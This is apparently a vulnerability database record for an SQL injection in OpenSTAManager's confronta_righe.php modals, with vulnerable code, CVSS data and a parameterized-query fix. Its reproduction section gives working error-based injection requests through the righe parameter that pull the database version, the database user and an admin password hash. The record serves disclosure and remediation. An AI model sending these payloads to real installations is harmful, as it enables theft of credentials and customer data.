{"id":"CVE-2026-35470","aliases":["CVE-2026-35470","GHSA-mmm5-3g4x-qw39"],"related":[],"kind":"vulnerability","state":"published","title":"OpenSTAManager has a SQL Injection via righe Parameter in confronta_righe Modals","summary":"OpenSTAManager is an open source management software for technical assistance and invoicing. Prior to 2.10.2, confronta_righe.php files across different modules in OpenSTAManager contain an SQL Injection vulnerability. The righe parameter received via $_GET['righe'] is directly concatenated into an SQL query without any sanitization, parameterization or validation. An authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including user credentials, customer information, invoice data and any other stored data. This vulnerability is fixed in 2.10.2.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"OpenSTAManager is an open source management software for technical assistance and invoicing. Prior to 2.10.2, confronta_righe.php files across different modules in OpenSTAManager contain an SQL Injection vulnerability. The righe parameter received via $_GET['righe'] is directly concatenated into an SQL query without any sanitization, parameterization or validation. An authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including user credentials, customer information, invoice data and any other stored data. This vulnerability is fixed in 2.10.2.","source":"cvelist"},{"lang":"en","text":"## Description\n\nSix `confronta_righe.php` files across different modules in OpenSTAManager <= 2.10.1 contain an SQL Injection vulnerability. The `righe` parameter received via `$_GET['righe']` is directly concatenated into an SQL query without any sanitization, parameterization or validation.\n\nAn authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including user credentials, customer information, invoice data and any other stored data.\n\n## Affected Files\n\nAll 6 vulnerable files share the same code pattern:\n\n| # | File | Line | Affected Table |\n|---|------|------|----------------|\n| 1 | `modules/fatture/modals/confronta_righe.php` | 29 | `co_righe_documenti` |\n| 2 | `modules/interventi/modals/confronta_righe.php` | 29 | `in_righe_interventi` |\n| 3 | `modules/preventivi/modals/confronta_righe.php` | 28 | `co_righe_preventivi` |\n| 4 | `modules/ordini/modals/confronta_righe.php` | 29 | `or_righe_ordini` |\n| 5 | `modules/ddt/modals/confronta_righe.php` | 29 | `dt_righe_ddt` |\n| 6 | `modules/contratti/modals/confronta_righe.php` | 28 | `co_righe_contratti` |\n\n## Vulnerable Code\n\nAll files follow the same pattern. Example from `modules/interventi/modals/confronta_righe.php`:\n\n```php\n$righe = $_GET['righe'];  // Line 29 — No sanitization\n\n$righe = $dbo->fetchArray(\n    'SELECT\n        `mg_articoli_lang`.`title`,\n        `mg_articoli`.`codice`,\n        `in_righe_interventi`.*\n    FROM\n        `in_righe_interventi`\n        INNER JOIN `mg_articoli` ON `mg_articoli`.`id` = `in_righe_interventi`.`idarticolo`\n        LEFT JOIN `mg_articoli_lang` ON (...)\n    WHERE\n        `in_righe_interventi`.`id` IN ('.$righe.')'  // Line 41 — Direct concatenation\n);\n```\n\nThe value of `$_GET['righe']` is inserted directly into the SQL `IN()` clause without using `prepare()`, parameterized statements or any sanitization function.\n\n## Reproduction\n\n### Prerequisites\n\n- Authenticated session (any user with module access)\n- At least one existing record in the target module (e.g. an intervention with id=1)\n\n### Step 1: Extract MySQL version\n\n```\nGET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT VERSION())))%23\n```\n\n**Result:** `XPATH syntax error: '~8.3.0'`\n\n### Step 2: Extract database user\n\n```\nGET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT USER())))%23\n```\n\n**Result:** `XPATH syntax error: '~root@172.19.0.3'`\n\n### Step 3: Extract admin credentials\n\n```\nGET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM zz_users LIMIT 1)))%23\n```\n\n**Result:** `XPATH syntax error: '~admin:$2y$10$qAo04wNbhR9cpxjHzr'`\n\n### Evidence\n\n<img width=\"1254\" height=\"395\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a2367ed6-fa03-4668-9d74-4298cac5e429\" />\n\n\n### HTTP Request\n\n```http\nGET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(username,0x3a,password)%20FROM%20zz_users%20LIMIT%201)))%23 HTTP/1.1\nHost: <TARGET>\nCookie: PHPSESSID=<SESSION_ID>\n```\n\n### Response (excerpt)\n\n```\nSQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~admin:$2y$10$qAo04wNbhR9cpxjHzr'\n```\n\n## Impact\n\n- **Confidentiality (High):** Full database data extraction including user credentials (bcrypt hashes), customer data, invoices, contracts and any stored information\n- **Integrity (High):** Data modification via injected INSERT/UPDATE/DELETE statements through stacked queries or subqueries\n- **Availability (High):** Deletion of tables or critical data, database corruption\n\n## Remediation\n\n### Recommended Fix\n\nUse parameterized statements with `prepare()` for the `righe` parameter:\n\n```php\n// BEFORE (vulnerable):\n$righe = $_GET['righe'];\n$righe = $dbo->fetchArray(\n    '... WHERE `in_righe_interventi`.`id` IN ('.$righe.')'\n);\n\n// AFTER (secure):\n$righe_ids = array_map('intval', explode(',', $_GET['righe'] ?? ''));\n$placeholders = implode(',', array_fill(0, count($righe_ids), '?'));\n$righe = $dbo->fetchArray(\n    '... WHERE `in_righe_interventi`.`id` IN ('.$placeholders.')',\n    $righe_ids\n);\n```\n\nThis fix must be applied to all **6 files** listed in the \"Affected Files\" section.\n\n## Credits\nOmar Ramirez","format":"markdown","source":"ghsa"},{"lang":"es","text":"OpenSTAManager es un software de gestión de código abierto para asistencia técnica y facturación. Antes de 2.10.2, los archivos confronta_righe.php en diferentes módulos de OpenSTAManager contienen una vulnerabilidad de inyección SQL. El parámetro righe recibido a través de parámetro 'righe' se concatena directamente en una consulta SQL sin ninguna sanitización, parametrización o validación. Un atacante autenticado puede inyectar sentencias SQL arbitrarias para extraer datos sensibles de la base de datos, incluyendo credenciales de usuario, información de clientes, datos de facturas y cualquier otro dato almacenado. Esta vulnerabilidad está corregida en 2.10.2.","source":"nvd"}],"published":"2026-04-03T21:57:08.000Z","modified":"2026-07-24T21:10:00.143Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-89"],"affected":[{"ranges":[{"version":"< 2.10.2","status":"affected"}],"vendor":"devcode-it","product":"openstamanager","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.10.2"}],"ecosystem":"Packagist","package":"devcode-it/openstamanager","purl":"pkg:composer/devcode-it/openstamanager","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"2.10.2"}],"vendor":"devcode","product":"openstamanager","cpe":"cpe:2.3:a:devcode:openstamanager:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/devcode-it/openstamanager/security/advisories/GHSA-mmm5-3g4x-qw39","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/devcode-it/openstamanager/releases/tag/v2.10.2","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/devcode-it/openstamanager","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-04-07T14:06:23.923Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-35470","url":"https://www.cve.org/CVERecord?id=CVE-2026-35470","licence":"CVE Terms of Use","modified":"2026-04-07T14:06:27.500Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-mmm5-3g4x-qw39","url":"https://github.com/advisories/GHSA-mmm5-3g4x-qw39","licence":"CC-BY-4.0","modified":"2026-04-03T22:11:30.904Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-35470","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35470","licence":"Public domain","modified":"2026-07-24T21:10:00.143Z"}],"updatedAt":"2026-11-25T22:59:18.051Z","epss":{"score":0.00432,"percentile":0.39316,"date":"2026-12-01T12:00:22.000Z"}}